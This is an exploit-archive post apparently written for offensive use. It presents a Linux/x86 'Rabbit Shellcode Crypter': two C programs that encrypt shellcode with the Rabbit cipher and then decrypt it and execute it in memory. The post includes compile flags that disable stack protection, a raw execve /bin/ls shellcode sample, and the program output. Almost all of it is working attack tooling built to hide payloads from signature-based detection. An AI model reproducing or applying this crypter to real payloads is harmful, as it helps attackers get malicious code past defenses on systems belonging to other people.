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Linux/x86 - Rabbit Shellcode Crypter (200 bytes)
################################################################################ # Introduction ################################################################################ # # Exploit Title: Rabbit Shellcode Crypter # Date: 24.4.2019 # Exploit Author: Petr Javorik, www.mmquant.net # Tested on: Linux ubuntu 3.13.0-32-generic, x86 # Description: Crypter which encrypts, decrypts and executes given shellcode # using Rabbit symmetric cipher # ################################################################################ # Keep in mind before use ################################################################################ # # 1. Max shellcode length 200 bytes (easily adjustable) # 2. You will probably have to adjust #include rabbit.c directive # 3. Encryption key is strictly 16 bytes # ################################################################################ # How to use ################################################################################ # # 1. Download ECRYPT rabbit library http://www.ecrypt.eu.org/stream/e2-rabbit.html # 2. Compile/Run $ gcc encrypt2rabbit.c -o encrypt2rabbit # 3. Copy encrypted shellcode to decryptAndExecute.c # 4. Compile $ gcc -fno-stack-protector -z execstack decryptAndExecute.c -o decryptAndExecute # 5. Run with encryption key $ ./decryptAndExecute someencryptkeyyy # ################################################################################ # Encryption ################################################################################ // File: encrypt2rabbit.c // Author: Petr Javorik #include <string.h> #include <stdio.h> #include "../rabbit/code/rabbit.c" // execve /bin/ls unsigned char code[] = \ "\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; char key[16] = {'s', 'o', 'm', 'e', 'e', 'n', 'c', 'r', 'y', 'p', 't', 'k', 'e', 'y', 'y', 'y'}; int main() { ECRYPT_init(); ECRYPT_ctx ctx; ECRYPT_keysetup(&ctx, key, 128, 0); u8 encrypted[200]; int codeLen = strlen(code); ECRYPT_process_bytes(0, &ctx, code, encrypted, codeLen); int i; printf("Encryption Key = "); for (i=0; i<16; i++) printf("%c", key[i]); printf("\n"); printf("Original = "); for (i=0; i<codeLen; i++) printf("\\x%02x", code[i]); printf("\n"); printf("Encrypted = "); for (i=0; i<codeLen; i++) printf("\\x%02x", encrypted[i]); printf ("\n"); return 0; } ###################################### $ ./encrypt2rabbit Encryption Key = someencryptkeyyy Original = \x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80 Encrypted = \x7f\xaf\xa4\x1e\xb7\x11\x01\x92\xd5\x56\x95\x03\x7a\x4b\x07\x0b\x94\xf8\xd4\x86\x3d\xbc\x4c\xa3\x30 ################################################################################ # Decryption/Execution ################################################################################ // File: decryptAndExecute.c // Author: Petr Javorik #include <string.h> #include <stdio.h> #include "../rabbit/code/rabbit.c" unsigned char encrypted[] = \ "\x7f\xaf\xa4\x1e\xb7\x11\x01\x92\xd5\x56\x95\x03\x7a\x4b\x07\x0b\x94\xf8\xd4\x86\x3d\xbc\x4c\xa3\x30"; int main(int argc, char **argv) { ECRYPT_init(); ECRYPT_ctx ctx; ECRYPT_keysetup(&ctx, argv[1], 128, 0); u8 decrypted[200]; int codeLen = strlen(encrypted); ECRYPT_process_bytes(0, &ctx, encrypted, decrypted, codeLen); int (*DecryptedFun)() = (int(*)())decrypted; DecryptedFun(); } ###################################### $ ./decryptAndExecute someencryptkeyyy decryptAndExecute decryptAndExecute.c encrypt2rabbit encrypt2rabbit.c execve-stack execve-stack.nasm execve-stack.o # 0day.today [2024-09-28] #